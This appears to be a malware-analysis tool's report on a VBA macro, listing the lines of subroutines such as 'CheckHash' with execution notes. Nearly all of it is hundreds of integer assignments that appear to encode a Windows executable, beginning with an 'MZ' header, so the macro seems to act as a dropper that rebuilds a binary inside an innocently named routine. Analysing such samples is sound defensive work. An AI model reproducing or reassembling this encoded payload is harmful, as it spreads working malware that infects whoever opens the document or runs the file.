2294	Y = 1768714352
2295	Y = 1769234787
2296	Y = 1816358511
2297	Y = 7566177
2298	Y = 1601463667
2299	Y = 1769171286
2300	Y = 6646882
2301	Y = 1601463667
2302	Y = 2003789907
2303	Y = 1970497878
2304	Y = 1631743073
2305	Y = 1164142963
2306	Y = 1869900132
2307	Y = 1718550642
2308	Y = 1701013862
2309	Y = 1667845376
2310	Y = 1869836146
2311	Y = 1328444518
2312	Y = 1667851878
2313	Y = 1866673765
2314	Y = 1291871602
2315	Y = 1967222643
2316	Y = 1634561908
2317	Y = 1852795252
2318	Y = 1969448275
2319	Y = 2037672306
2320	Y = 1952805632
2321	Y = 1953841503
2322	Y = 1952542063
2323	Y = 1399746409
2324	Y = 1920295781
2325	Y = 7959657
2326	Y = 1181709133
2327	Y = 1449487465
2328	Y = 1684630625
2329	Y = 1869182049
2330	Y = 1685015918
2331	Y = 1702035557
2332	Y = 1766219636
2333	Y = 1633052012
2334	Y = 1633970540
2335	Y = 1852795252
2336	Y = 1952802560
2337	Y = 1835093599
2338	Y = 1766195301
2339	Y = 1850303852
2340	Y = 1140879206
2341	Y = 1415935073
2342	Y = 6647145
2343	Y = 1969450820
2344	Y = 1953391981
2345	Y = 1667845376
2346	Y = 1869836146
2347	Y = 1445885030
2348	Y = 1227777378
2349	Y = 1919251566
2350	Y = 1124102255
2351	Y = 1298490479
2352	Y = 1819632751
2353	Y = 1112932453
2354	Y = 1886220099
2355	Y = 1852141167
2356	Y = 1767112820
2357	Y = 1884513645
2358	Y = 1157656161
2359	Y = 1701672302
2360	Y = 1869898098
2361	Y = 1701249138
2362	Y = 1917017972
2363	Y = 1769234789
2364	Y = 1767140975
2365	Y = 1728079213
2366	Y = 1415541861
2367	Y = 1332047209
2368	Y = 2036417638
2369	Y = 1952802560
2370	Y = 1970227295
2371	Y = 1728082802
2372	Y = 1298101349
2373	Y = 1953853033
2374	Y = 1728082789
2375	Y = 1398764645
2376	Y = 1852793701
2377	Y = 1728082788
2378	Y = 1298101349
2379	Y = 1768713321
2380	Y = 1868785011
2381	Y = 7562350
2382	Y = 1601463655
2383	Y = 1953718604
2384	Y = 1701012289
2385	Y = 1767142259
2386	Y = 1728079213
2387	Y = 1281324133
2388	Y = 1467249505
2389	Y = 1702127986
2390	Y = 1701669204
2391	Y = 1667845376
2392	Y = 1869836146
2393	Y = 1445885030
2394	Y = 1635087209
2395	Y = 1935753836
2396	Y = 1177445225
2397	Y = 1231383657
2398	Y = 1884487759
2399	Y = 1634296677
2400	Y = 1919501420
2401	Y = 1869898597
2402	Y = 1936025970
2403	Y = 1952802560
2404	Y = 1835357279
2405	Y = 1699151984
2406	Y = 1818838644
2407	Y = 1835093605
2408	Y = 1866661989
2409	Y = 1325431152
2410	Y = 7234928
2411	Y = 1668236383
2412	Y = 1852140917
2413	Y = 1701249140
2414	Y = 1632853876
2415	Y = 1866884470
2416	Y = 1952542066
2417	Y = 1986089728
2418	Y = 846414181
2419	Y = 1346524672
2420	Y = 1701474162
2421	Y = 1728083043
2422	Y = 1449096293
2423	Y = 1869762626
2424	Y = 1952671082
2425	Y = 1112956672
2426	Y = 1785688656
2427	Y = 7627621
2428	Y = 1866678870
2429	Y = 1852797037
2430	Y = 1937010277
2431	Y = 1952802560
2432	Y = 1128420959
2433	Y = 1869639023
2434	Y = 1953391982
2435	Y = 1449066611
2436	Y = 1836008258
2437	Y = 1701736304
2438	Y = 7566446
2439	Y = 1835365449
2440	Y = 1112956672
2441	Y = 1886220099
2442	Y = 1852141167
2443	Y = 1701249140
2444	Y = 1866686324
2445	Y = 1867343204
2446	Y = 1701606756
2447	Y = 1866686208
2448	Y = 1867343204
2449	Y = 1701606756
2450	Y = 1684291840
2451	Y = 1836020294
2452	Y = 1769108563
2453	Y = 1392535406
2454	Y = 6649441
2455	Y = 1601463655
2456	Y = 1920298824
2457	Y = 1684291840
2458	Y = 1920298824
2459	Y = 1701249139
2460	Y = 1766678388
2461	Y = 1702131054
2462	Y = 1684291840
2463	Y = 1970170189
2464	Y = 7562612
2465	Y = 1601463655
2466	Y = 1868784979
2467	Y = 1090544750
2468	Y = 1699964004
2469	Y = 1684959075
2470	Y = 1701249139
2471	Y = 1766678388
2472	Y = 1936288876
2473	Y = 1852793701
2474	Y = 1681981540
2475	Y = 1818840420
2476	Y = 1702062444
2477	Y = 1684959075
2478	Y = 1702035571
2479	Y = 1917017972
2480	Y = 1769234789
2481	Y = 1767140975
2482	Y = 1929405805
2483	Y = 1281324133
2484	Y = 1098150753
2485	Y = 1936024419
2486	Y = 1835619443
2487	Y = 1702035557
2488	Y = 1632395124
2489	Y = 1918334067
2490	Y = 1415935081
2491	Y = 6647145
2492	Y = 1701602628
2493	Y = 1224762740
2494	Y = 1836412485
2495	Y = 1650553445
2496	Y = 828401004
2497	Y = 1684291840
2498	Y = 1735287122
2499	Y = 1699872869
2500	Y = 1953391971
2501	Y = 1701603654
2502	Y = 1701249139
2503	Y = 1699897204
2504	Y = 1953391971
2505	Y = 1701603654
2506	Y = 1701249139
2507	Y = 1866686324
2508	Y = 7630453
2509	Y = 1701012818
2510	Y = 1766225006
2511	Y = 1728079212
2512	Y = 1230992485
2513	Y = 7169396
2514	Y = 1601463655
2515	Y = 1752457552
2516	Y = 1952794368
2517	Y = 1836412485
2518	Y = 1952543333
2519	Y = 1728082543
2520	Y = 1130329189
2521	Y = 1701999221
2522	Y = 1191212142
2523	Y = 2017817701
2524	Y = 1936614772
2525	Y = 7237481
2526	Y = 1935754060
2527	Y = 1884225637
2528	Y = 1952543333
2529	Y = 7565935
2530	Y = 1886220099
2531	Y = 1399157345
2532	Y = 1852404340
2533	Y = 1681981543
2534	Y = 1867317348
2535	Y = 1699636598
2536	Y = 1224766584
2537	Y = 1886611780
2538	Y = 1650553711
2539	Y = 1140876652
2540	Y = 1869640553
2541	Y = 1409312115
2542	Y = 1920090479
2543	Y = 1107327329
2544	Y = 1918987881
2545	Y = 1634030201
2546	Y = 7497060
2547	Y = 1601463655
2548	Y = 1667594309
2549	Y = 1650553973
2550	Y = 1632658796
2551	Y = 1375758452
2552	Y = 1231315301
2553	Y = 842232942
2554	Y = 1952802560
2555	Y = 1935753823
2556	Y = 1920226149
2557	Y = 7168357
2558	Y = 1601463655
2559	Y = 1769172816
2560	Y = 1852795252
2561	Y = 1937330944
2562	Y = 778921332
2563	Y = 1734437188
2564	Y = 1953722222
2565	Y = 7562089
2566	Y = 1969382724
2567	Y = 1650550631
2568	Y = 1950442860
2569	Y = 1651077748
2570	Y = 6648949
2571	Y = 1969382724
2572	Y = 1852401511
2573	Y = 1685015911
2574	Y = 1124103013
2575	Y = 1768975727
2576	Y = 1769234796
2577	Y = 1699901039
2578	Y = 1635279212
2579	Y = 1852795252
2580	Y = 1953775987
2581	Y = 1969383794
2582	Y = 1375757684
2583	Y = 1769238133
2584	Y = 1866687853
2585	Y = 1952542829
2586	Y = 1818845801
2587	Y = 1098478697
2588	Y = 1769108596
2589	Y = 1702131042
2590	Y = 1936933120
2591	Y = 1818389861
2592	Y = 1818838649
2593	Y = 1919243877
2594	Y = 1852795251
2595	Y = 1920234561
2596	Y = 1953849961
2597	Y = 2035482725
2598	Y = 1835365491
2599	Y = 1853182510
2600	Y = 1701669236
2601	Y = 1953384750
2602	Y = 1886351973
2603	Y = 1987208531
2604	Y = 1936024425
2605	Y = 1769293568
2606	Y = 1953775972
2607	Y = 1969383794
2608	Y = 1124099444
2609	Y = 1767271791
2610	Y = 1818388851
2611	Y = 1953775973
2612	Y = 1969383794
2613	Y = 1090545012
2614	Y = 1835365235
2615	Y = 1417243746
2616	Y = 1701077362
2617	Y = 1802658157
2618	Y = 1920234561
2619	Y = 1953849961
2620	Y = 1933639781
2621	Y = 1651336563
2622	Y = 1866692972
2623	Y = 1769109872
2624	Y = 1098147943
2625	Y = 1769108596
2626	Y = 1702131042
2627	Y = 1936933120
2628	Y = 1818389861
2629	Y = 1869762681
2630	Y = 1952675172
2631	Y = 1920234561
2632	Y = 1953849961
2633	Y = 1933639781
2634	Y = 1651336563
2635	Y = 1866692972
2636	Y = 1851879533
2637	Y = 1953775993
2638	Y = 1969383794
2639	Y = 1090545012
2640	Y = 1835365235
2641	Y = 1148808290
2642	Y = 1919120229
2643	Y = 1769238633
2644	Y = 1950445167
2645	Y = 1651077748
2646	Y = 6648949
2647	Y = 1702064961
2648	Y = 2037146221
2649	Y = 1819568468
2650	Y = 1953775973
2651	Y = 1969383794
2652	Y = 1660970356
2653	Y = 1886155380
2654	Y = 1818586721
2655	Y = 1702389038
2656	Y = 0
2657	Y = 6496512
2658	Y = 7471220
2659	Y = 7340140
2660	Y = 7209057
2661	Y = 7077989
2662	Y = 7340129
2663	For I = 1 To 2
2664	Y = 7340144
2665	Next
2666	Y = - 2147483536
2667	Y = 1258309761
2668	Y = 1493189888
2669	Y = 1275092736
2670	Y = 1124093696
2671	Y = 1275085056
2672	Y = 1291869952
2673	Y = 1124090112
2674	Y = 1224755200
2675	Y = 1157647872
2676	Y = 1392532480
2677	Y = 1174425344
2678	Y = 1459639296
2679	Y = 1375748352
2680	Y = 1543521536
2681	Y = 1761627392
2682	Y = 1912627968
2683	Y = 1929408256
2684	Y = 1711304448
2685	Y = 1543533568
2686	Y = 1761629952
2687	Y = 1677749760
2688	Y = 1996517120
2689	Y = 1543533312
2690	Y = 1962951424
2691	Y = 1912631808
2692	Y = 1845519616
2693	Y = 1442870272
2694	Y = 1912628480
2695	Y = 1761637120
2696	Y = 1845522176
2697	Y = 1375755264
2698	Y = 1845523712
2699	Y = 1125318656
2700	Y = 1912632320
2701	Y = 1879075840
2702	Y = 1845518592
2703	Y = 1811965184
2704	Y = 1216151552
2705	Y = 1157647104
2706	Y = 1593858304
2707	Y = 1426080512
2708	Y = 1375752704
2709	Y = 1308640512
2710	Y = 1593857024
2711	Y = 1392530688
2712	Y = 1375749376
2713	Y = 1392532480
2714	Y = 1711304448
2715	Y = 1996518400
2716	Y = 1912627456
2717	Y = 1543529728
2718	Y = 1761627392
2719	Y = 1912627968
2720	Y = 1929408256
2721	Y = 1711304448
2722	Y = 1543533568
2723	Y = 1711296256
2724	Y = 1761633792
2725	Y = 1694524160
2726	Y = 822107136
2727	Y = 771765248
2728	Y = 1543516160
2729	Y = 1862293248
2730	Y = 1677750784
2731	Y = 1392532480
2732	Y = 1660970240
2733	Y = 1912632576
2734	Y = 1946183936
2735	Y = 30976
2736	Y = 1258309755
2737	Y = 1493189888
2738	Y = 1124097792
2739	Y = 1375753472
2740	Y = 1157648896
2741	Y = 1409306112
2742	Y = 1426087680
2743	Y = 1157649152
2744	Y = 1543524864
2745	Y = 1862292224
2746	Y = 1946183168
2747	Y = 1627420416
2748	Y = 1694528000
2749	Y = 1291869184
2750	Y = 1660971264
2751	Y = 1862300160
2752	Y = 1862300416
2753	Y = 1946183168
2754	Y = 1325423616
2755	Y = 1711302144
2756	Y = 1660971264
2757	Y = 1543529728
2758	Y = 872427776
2759	Y = 805318144
2760	Y = 1459641344
2761	Y = 1912631040
2762	Y = 1543529472
2763	Y = 1879068416
2764	Y = 1761637376
2765	Y = 1845522176
2766	Y = 29440
2767	Y = 771762699
2768	Y = 1862296576
2769	Y = 25344
2770	Y = 973103903
2771	Y = 1426086912
2772	Y = 1694528256
2773	Y = 1929409024
2774	Y = 1342200832
2775	Y = 1644197120
2776	Y = 1761635328
2777	Y = 25344
2778	Y = 788725761
2779	Y = 553844736
2780	Y = 705363968
2781	Y = 1862282752
2782	Y = 1879077376
2783	Y = 1544355840
2784	Y = 1862292480
2785	Y = 1811967744
2786	Y = 29440
2787	Y = 1409309711
2788	Y = 1862299392
2789	Y = 1929407488
2790	Y = 23552
2791	Y = 1694510601
2792	Y = 1694529536
2793	Y = 705363968
2794	Y = 1694510592
2795	Y = 1694529536
2796	Y = 1543700480
2797	Y = 772341760
2798	Y = 1912631040
2799	Y = 28672
2800	Y = 1660961045
2801	Y = 1694524160
2802	Y = 1929409280
2803	Y = 1107318272
2804	Y = 1291865856
2805	Y = 1444347904
2806	Y = 1090535936
2807	Y = 1627412224
2808	Y = 1845522944
2809	Y = 1845520640
2810	Y = 1929406208
2811	Y = 1142620160
2812	Y = 1711301888
2813	Y = 1962959104
2814	Y = 1946184704
2815	Y = 1862288896
2816	Y = 1828745728
2817	Y = 1946181888
2818	Y = 1141309440
2819	Y = 1660972800
2820	Y = 772341760
2821	Y = 1862296576
2822	Y = 25344
2823	Y = 1912623195
2824	Y = 1979738368
2825	Y = 1946181888
2826	Y = 536896768
2827	Y = 1962952192
2828	Y = 1660972544
2829	Y = 1761637376
2830	Y = 1845522176
2831	Y = 1174413312
2832	Y = 671106304
2833	Y = 536892928
2834	Y = 1929396480
2835	Y = 1392517120
2836	Y = 1912632320
2837	Y = 1845520640
2838	Y = 687892224
2839	Y = 1090527232
2840	Y = 536900352
2841	Y = 1862287872
2842	Y = 1811967744
2843	Y = 1627415808
2844	Y = 218131968
2845	Y = 2560
2846	Y = 1845514075
2847	Y = 1157636096
2848	Y = 1912631808
2849	Y = 1912631040
2850	Y = 1375739904
2851	Y = 1929405696
2852	Y = 1828746496
2853	Y = 536896768
2854	Y = 1694518784
2855	Y = 1946187776
2856	Y = 1174419968
2857	Y = 536888576
2858	Y = 536886528
2859	Y = 1174415360
2860	Y = 1811966208
2861	Y = 1275094272
2862	Y = 1845519616
2863	Y = 1442850816
2864	Y = 536881408
2865	Y = 536886784
2866	Y = 822095104
2867	Y = 218114304
2868	Y = 16779776
2869	Y = 1845511453
2870	Y = 536896512
2871	Y = 1962952192
2872	Y = 1660972544
2873	Y = 1761637376
2874	Y = 1845522176
2875	Y = 167775488
2876	Y = 1347354624
2877	Y = 1761636864
2878	Y = 1627420160
2879	Y = 1694528512
2880	Y = 1342185472
2881	Y = 1862300160
2882	Y = 1694527488
2883	Y = 1946186240
2884	Y = 536901888
2885	Y = 1694518272
2886	Y = 536900608
2887	Y = 671111424
2888	Y = 1627411968
2889	Y = 1962961920
2890	Y = 536896768
2891	Y = 1929396480
2892	Y = 1275076608
2893	Y = 1845522176
2894	Y = 687892224
2895	Y = 167775488
2896	Y = 1344471040
2897	Y = 1946187008
2898	Y = 587210752
2899	Y = 738210048
2900	Y = 738205696
2901	Y = 1442848768
2902	Y = 1811964160
2903	Y = 1694528768
2904	Y = 167775488
2905	Y = 1159528448
2906	Y = 1677749760
2907	Y = 1342185472
2908	Y = 1862300160
2909	Y = 1694527488
2910	Y = 1946186240
2911	Y = 218134784
2912	Y = 2560
2913	Y = 1912623151
2914	Y = 1979738368
2915	Y = 1946181888
2916	Y = 536896768
2917	Y = 1962955520
2918	Y = 536896000
2919	Y = 1744847616
2920	Y = 1660970240
2921	Y = 1207986944
2922	Y = 1929404672
2923	Y = 218130432
2924	Y = 2560
2925	Y = 1325418007
2926	Y = 536891904
2927	Y = 1023428864
2928	Y = 536883456
2929	Y = 1325421568
2930	Y = 8192
2931	Y = 167775493
2932	Y = 1493499904
2933	Y = 15616
2934	Y = 1157647885
2935	Y = 1409308672
2936	Y = 167775488
2937	Y = 1158873088
2938	Y = 1677749760
2939	Y = 1392517120
2940	Y = 1644197120
2941	Y = 167775488
2942	Y = 1344995328
2943	Y = 1761636864
2944	Y = 1627420160
2945	Y = 1694528512
2946	Y = 1392517120
2947	Y = 1644197120
2948	Y = 1124081664
2949	Y = 1694525440
2950	Y = 1795187456
2951	Y = 1627408384
2952	Y = 1744859904
2953	Y = 1346043904
2954	Y = 1761636864
2955	Y = 1627420160
2956	Y = 1694528512
2957	Y = 1392517120
2958	Y = 1644197120
2959	Y = 1140858880
2960	Y = 1660972800
2961	Y = 1828746496
2962	Y = 1845519616
2963	Y = 1593865216
2964	End Sub

Subroutine
CheckHashAPIs: 0, Strings: 0, Number of lines: 888, Relevance: 0.888

Line	Instruction	Meta Information
15	Private Sub CheckHash()
16	Y = 9460301	executed
17	Y = 3
18	Y = 4
19	Y = 65535
20	Y = 184
21	Y = 0
22	Y = 64
23	For I = 1 To 8
24	Y = 0
25	Next
26	Y = 128
27	Y = 247078670
28	Y = - 855002112
29	Y = 1275181089
30	Y = 1750344141
31	Y = 1881174889
32	Y = 1919381362
33	Y = 1663069537
34	Y = 1869508193
35	Y = 1700929652
36	Y = 1853190688
37	Y = 544106784
38	Y = 542330692
39	Y = 1701080941
40	Y = 168627502
41	Y = 36
42	Y = 0
43	Y = 17744
44	Y = 262476
45	Y = 1441267592
46	For I = 1 To 2
47	Y = 0
48	Next
49	Y = 16908512
50	Y = 721163
51	Y = 13312
52	Y = 20992
53	Y = 0
54	Y = 21118
55	Y = 8192
56	Y = 24576
57	Y = 4194304
58	Y = 8192
59	Y = 512
60	Y = 4
61	Y = 0
62	Y = 4
63	Y = 0
64	Y = 65536
65	Y = 1024
66	Y = 0
67	Y = - 2059403262
68	Y = 1048576
69	Y = 4096
70	Y = 1048576
71	Y = 4096
72	Y = 0
73	Y = 16
74	For I = 1 To 2
75	Y = 0
76	Next
77	Y = 21036
78	Y = 79
79	Y = 32768
80	Y = 19632
81	For I = 1 To 4
82	Y = 0
83	Next
84	Y = 57344
85	Y = 12
86	Y = 24576
87	Y = 28
88	For I = 1 To 10
89	Y = 0
90	Next
91	Y = 8192
92	Y = 8
93	For I = 1 To 2
94	Y = 0
95	Next
96	Y = 8200
97	Y = 72
98	For I = 1 To 2
99	Y = 0
100	Next
101	Y = 2019914798
102	Y = 116
103	Y = 12932
104	Y = 8192
105	Y = 13312
106	Y = 1024
107	For I = 1 To 3
108	Y = 0
109	Next
110	Y = 1610612768
111	Y = 1633973038
112	Y = 24948
113	Y = 312
114	Y = 24576
115	Y = 512
116	Y = 14336
117	For I = 1 To 3
118	Y = 0
119	Next
120	Y = - 1073741760
121	Y = 1920168494
122	Y = 99
123	Y = 19632
124	Y = 32768
125	Y = 19968
126	Y = 14848
127	For I = 1 To 3
128	Y = 0
129	Next
130	Y = 1073741888
131	Y = 1818587694
132	Y = 25455
133	Y = 12
134	Y = 57344
135	Y = 512
136	Y = 34816
137	For I = 1 To 3
138	Y = 0
139	Next
140	Y = 1107296320
141	For I = 1 To 122
142	Y = 0
143	Next
144	Y = 21088
145	Y = 0
146	Y = 72
147	Y = 327682
148	Y = 12568
149	Y = 8468
150	Y = 1
151	Y = 100663305
152	For I = 1 To 12
153	Y = 0
154	Next
155	Y = 1143662
156	Y = 142607872
157	Y = 1929641984
158	Y = 100663308
159	Y = 2432
160	Y = 176165892
161	Y = 704905216
162	Y = 274459
163	Y = 167
164	Y = 285212673
165	Y = 370
166	Y = 75888
167	Y = 176163328
168	Y = - 570163200
169	Y = 36185358
170	Y = 168427520
171	Y = 808
172	Y = 2113986058
173	Y = 67108874
174	Y = 1914114605
175	Y = 1879048193
176	Y = 1139
177	Y = 688138
178	Y = 187368448
179	Y = 2686
180	Y = 356100
181	Y = 1915357696
182	Y = 1879048227
183	Y = 42610
184	Y = 294512
185	Y = 103285760
186	Y = - 569769984
187	Y = 36185358
188	Y = 185204736
189	Y = 808
190	Y = 335601162
191	Y = 657150
192	Y = 124978688
193	Y = 336199680
194	Y = 256032
195	Y = 141759744
196	Y = - 2146828288
197	Y = 67108870
198	Y = 185007636
199	Y = 1929773056
200	Y = 167772167
201	Y = 196616212
202	Y = 1930756096
203	Y = 167772168
204	Y = 1920
205	Y = 600068
206	Y = 2755072
207	Y = 7169
208	Y = 0
209	Y = 234885393
210	Y = 16777224
211	Y = 4390912
212	Y = 234903830
213	Y = 16777224
214	Y = 208923
215	Y = 44
216	Y = 285212674
217	Y = 2174
218	Y = 1339140
219	Y = 249431552
220	Y = 141349
221	Y = 671746560
222	Y = 167772163
223	Y = 108921054
224	Y = 537133056
225	Y = 1000
226	Y = 683797
227	Y = 707136000
228	Y = 4097
229	Y = 0
230	Y = 234884108
231	Y = 16777224
232	Y = 208923
233	Y = 44
234	Y = 285212675
235	Y = 2430
236	Y = 1011460
237	Y = 249431552
238	Y = 141349
239	Y = 671746560
240	Y = 167772163
241	Y = 125698270
242	Y = 537133056
243	Y = 3000
244	Y = 683797
245	Y = 707136000
246	Y = 4097
247	Y = 0
248	Y = 234884108
249	Y = 16777224
250	Y = 12219046
251	Y = 25194496
252	Y = 1912864768
253	Y = 1879048504
254	Y = 640
255	Y = 28602884
256	Y = 58748928
257	Y = 1912864768
258	Y = 1879048640
259	Y = 1152
260	Y = 10756
261	Y = 274451
262	Y = 83
263	Y = 285212676
264	Y = 122994
265	Y = 1779895152
266	Y = 880386
267	Y = 225053184
268	Y = 121252620
269	Y = 392759298
270	Y = 3624
271	Y = 993290
272	Y = 147982848
273	Y = 1058818
274	Y = 1483344384
275	Y = 542665239
276	Y = 256
277	Y = 1641176426
278	Y = 4392
279	Y = 1189898
280	Y = 321391104
281	Y = 185204736
282	Y = 1483347720
283	Y = 822675468
284	Y = 2754498
285	Y = 339987
286	Y = 52
287	Y = 285212677
288	Y = 1342335510
289	Y = 1494726542
290	Y = 722078570
291	Y = 105906722
292	Y = 105906793
293	Y = 33984873
294	Y = 1790414416
295	Y = 1483347800
296	Y = 65568
297	Y = - 765629952
298	Y = 386309217
299	Y = 101341290
300	Y = 718942471
301	Y = 143379
302	Y = 54
303	Y = 285212678
304	Y = 122994
305	Y = 318901104
306	Y = 722277892
307	Y = 151261467
308	Y = 134679697
309	Y = 4392
310	Y = 1189898
311	Y = 321391104
312	Y = 185204736
313	Y = 223876873
314	Y = - 1912336119
315	Y = 132002487
316	Y = 552
317	Y = 10758
318	Y = 405523
319	Y = 45
320	Y = 285212679
321	Y = 5160
322	Y = 36176394
323	Y = 1862664192
324	Y = 167772181
325	Y = 5743
326	Y = 1517578
327	Y = - 495842816
328	Y = 1919942657
329	Y = 1879048678
330	Y = 672535831
331	Y = 167772184
332	Y = 42
333	Y = 405523
334	Y = 33
335	Y = 285212680
336	Y = 31879682
337	Y = - 495816704
338	Y = 393216001
339	Y = 405280277
340	Y = 269090816
341	Y = 422052352
342	Y = 671744000
343	Y = 100663300
344	Y = 42
345	Y = 274451
346	Y = 79
347	Y = 285212681
348	Y = 1930893570
349	Y = 167772186
350	Y = 460261131
351	Y = 386531328
352	Y = 392780138
353	Y = 1674584
354	Y = 118096128
355	Y = - 1912203770
356	Y = 1863607
357	Y = 304482816
358	Y = 206848
359	Y = 1862731264
360	Y = 167772189
361	Y = 1930958851
362	Y = 167772186
363	Y = 369494028
364	Y = 1874300422
365	Y = 167772190
366	Y = 1928968
367	Y = 2755072
368	Y = 522715722
369	Y = 34209792
370	Y = 8307
371	Y = 945930
372	Y = 2754048
373	Y = 77843
374	Y = 7
375	Y = 285212682
376	Y = 752386
377	Y = 2753536
378	Y = 143379
379	Y = 62
380	Y = 285212683
381	Y = 134096130
382	Y = 100663312
383	Y = 8563
384	Y = 2063731210
385	Y = 67108875
386	Y = 2063731756
387	Y = 67108875
388	Y = 2256646
389	Y = 50465280
390	Y = 2941
391	Y = 192610820
392	Y = 738459648
393	Y = 192610828
394	Y = 100925440
395	Y = 9071
396	Y = 10762
397	Y = 143387
398	Y = 41
399	Y = 285212684
400	Y = 880386
401	Y = 611255808
402	Y = 755630080
403	Y = 225378827
404	Y = 1862664192
405	Y = 167772197
406	Y = 673517278
407	Y = 167772162
408	Y = 206858
409	Y = 14551552
410	Y = 42
411	Y = 4097
412	Y = 0
413	Y = 234887706
414	Y = 16777224
415	Y = 274459
416	Y = 380
417	Y = 285212685
418	Y = 9768
419	Y = 369890058
420	Y = 1631062803
421	Y = 285212673
422	Y = - 1710550772
423	Y = 661587466
424	Y = 956956672
425	Y = 313
426	Y = 2649862
427	Y = 1075317248
428	Y = 301
429	Y = 2715398
430	Y = 711920128
431	Y = 1913257984
432	Y = 1879048682
433	Y = 2828311
434	Y = 118163968
435	Y = 320212499
436	Y = 8534029
437	Y = 235995136
438	Y = 211422481
439	Y = 2893832
440	Y = 2114783744
441	Y = 67108868
442	Y = 128626
443	Y = 1255536
444	Y = 757598720
445	Y = 638189568
446	Y = 1150
447	Y = 33845764
448	Y = 671707136
449	Y = 100663302
450	Y = 136306
451	Y = 3025008
452	Y = 68356608
453	Y = 791151633
454	Y = 755630080
455	Y = 68225060
456	Y = 1832
457	Y = 369365254
458	Y = 807933206
459	Y = 638189568
460	Y = 673517534
461	Y = 167772162
462	Y = 52954387
463	Y = - 569769984
464	Y = 621796864
465	Y = 552
466	Y = 671486730
467	Y = 167772163
468	Y = 219218142
469	Y = 219371543
470	Y = 235998481
471	Y = 1933555598
472	Y = 2130706431
473	Y = 67108868
474	Y = 132210
475	Y = 1255536
476	Y = 510790144
477	Y = 376438786
478	Y = 11048
479	Y = 319228682
480	Y = 252909072
481	Y = 269570859
482	Y = 328863505
483	Y = 671551751
484	Y = 167772204
485	Y = 1862666259
486	Y = 167772201
487	Y = 10863
488	Y = 36336138
489	Y = 135360512
490	Y = 1320
491	Y = 36598278
492	Y = 774402048
493	Y = 319422464
494	Y = 671682825
495	Y = 167772207
496	Y = 118559021
497	Y = 120064273
498	Y = 285605888
499	Y = 824712201
500	Y = 285868032
501	Y = 324540175
502	Y = 286200079
503	Y = 850890256
504	Y = 621797029
505	Y = 552
506	Y = 671748874
507	Y = 167772163
508	Y = 185663710
509	Y = 185817111
510	Y = 202443537
511	Y = - 1807763570
512	Y = 721420286
513	Y = 19521
514	Y = 0
515	Y = 157
516	Y = 13
517	Y = 170
518	Y = 15
519	Y = 16777224
520	Y = 0
521	Y = 91
522	Y = 96
523	Y = 187
524	Y = 15
525	Y = 16777224
526	Y = 0
527	Y = 21
528	Y = 326
529	Y = 347
530	Y = 15
531	Y = 16777224
532	Y = 522715838
533	Y = 34209792
534	Y = 818452
535	Y = 1912734720
536	Y = 1879048672
537	Y = 3709
538	Y = 544408068
539	Y = 1862926336
540	Y = 100663315
541	Y = 3371778
542	Y = 310184448
543	Y = 704905216
544	Y = 77843
545	Y = 7
546	Y = 285212686
547	Y = 1014530
548	Y = 2753536
549	Y = 143379
550	Y = 62
551	Y = 285212687
552	Y = 134096130
553	Y = 100663318
554	Y = 8563
555	Y = 2063731210
556	Y = 67108879
557	Y = 2063731756
558	Y = 67108879
559	Y = 2256646
560	Y = 50465280
561	Y = 3965
562	Y = 259719684
563	Y = 738459648
564	Y = 259719692
565	Y = 100925440
566	Y = 9071
567	Y = 10762
568	Y = 274459
569	Y = 267
570	Y = 285212688
571	Y = 1404674
572	Y = - 684063232
573	Y = 2113929216
574	Y = 67108865
575	Y = 145522
576	Y = 680269680
577	Y = 671154176
578	Y = 167772166
579	Y = 382
580	Y = 38695428
581	Y = - 1944621056
582	Y = 16777256
583	Y = 1576
584	Y = 163338
585	Y = 1718748160
586	Y = 1919942658
587	Y = 1879048834
588	Y = 1576
589	Y = 209388042
590	Y = 1862533120
591	Y = 167772212
592	Y = 2853910
593	Y = 302776576
594	Y = 3505666
595	Y = 302844416
596	Y = 3505667
597	Y = 68356608
598	Y = 913245202
599	Y = 34209792
600	Y = 3195
601	Y = 3505668
602	Y = 68356608
603	Y = 897451026
604	Y = 218759168
605	Y = 897450770
606	Y = 201981952
607	Y = 930021906
608	Y = - 569769984
609	Y = 36185358
610	Y = 168427520
611	Y = 808
612	Y = 33611274
613	Y = 14451
614	Y = 818442
615	Y = 2063729664
616	Y = 67108876
617	Y = 3763990
618	Y = 2063731200
619	Y = 67108876
620	Y = 3829526
621	Y = 2063731200
622	Y = 67108876
623	Y = 3895065
624	Y = 2063731200
625	Y = 67108876
626	Y = 3960599
627	Y = 1862404608
628	Y = 100663314
629	Y = 9327
630	Y = 34286858
631	Y = 4719
632	Y = 2453254
633	Y = 249432576
634	Y = 141349
635	Y = 671812096
636	Y = 167772163
637	Y = 2752734
638	Y = 7169
639	Y = 4784128
640	Y = 234920272
641	Y = 16777224
642	Y = 0
643	Y = 234945788
644	Y = 16777224
645	Y = 143387
646	Y = 34
647	Y = 285212689
648	Y = 817922
649	Y = 1030685696
650	Y = 185204736
651	Y = 282987031
652	Y = 141349
653	Y = 369887744
654	Y = 206858
655	Y = 14551552
656	Y = 10758
657	Y = 4097
658	Y = 0
659	Y = 268439568
660	Y = 16777224
661	Y = 1191963
662	Y = 1260
663	Y = 285212690
664	Y = 1080066
665	Y = - 1925643264
666	Y = 33554435
667	Y = 4475
668	Y = 276496900
669	Y = - 1912340480
670	Y = 57097399
671	Y = 2063728640
672	Y = 67108880
673	Y = 1145602
674	Y = 194642944
675	Y = 4092679
676	Y = 101321216
677	Y = 16239
678	Y = 303829770
679	Y = 4204572
680	Y = 487787008
681	Y = 1093147922
682	Y = 101318656
683	Y = 16239
684	Y = 303698698
685	Y = 4204570
686	Y = 454232576
687	Y = 1109924626
688	Y = 1477050368
689	Y = 4157190
690	Y = 403900928
691	Y = 1076369426
692	Y = 319422464
693	Y = 672731673
694	Y = 167772227
695	Y = 1064240728
696	Y = 319422464
697	Y = 672535062
698	Y = 167772224
699	Y = 387061523
700	Y = 17448
701	Y = 991320074
702	Y = 709
703	Y = 4157190
704	Y = 68356608
705	Y = 4550406
706	Y = 101911040
707	Y = 4615942
708	Y = 118688256
709	Y = 18216
710	Y = 36336138
711	Y = 671576064
712	Y = 167772232
713	Y = 18728
714	Y = 1929973002
715	Y = 167772222
716	Y = 386467596
717	Y = 18984
718	Y = 209388042
719	Y = 1862533120
720	Y = 167772212
721	Y = 303960841
722	Y = 730600990
723	Y = 318832640
724	Y = 371135007
725	Y = 11148
726	Y = 304091905
727	Y = 730600992
728	Y = 318832640
729	Y = 2116096545
730	Y = 167772213
731	Y = 571613715
732	Y = 13694
733	Y = 304288522
734	Y = 3505699
735	Y = 605227520
736	Y = 897459218
737	Y = 319422464
738	Y = 2116358693
739	Y = 167772213
740	Y = 638723603
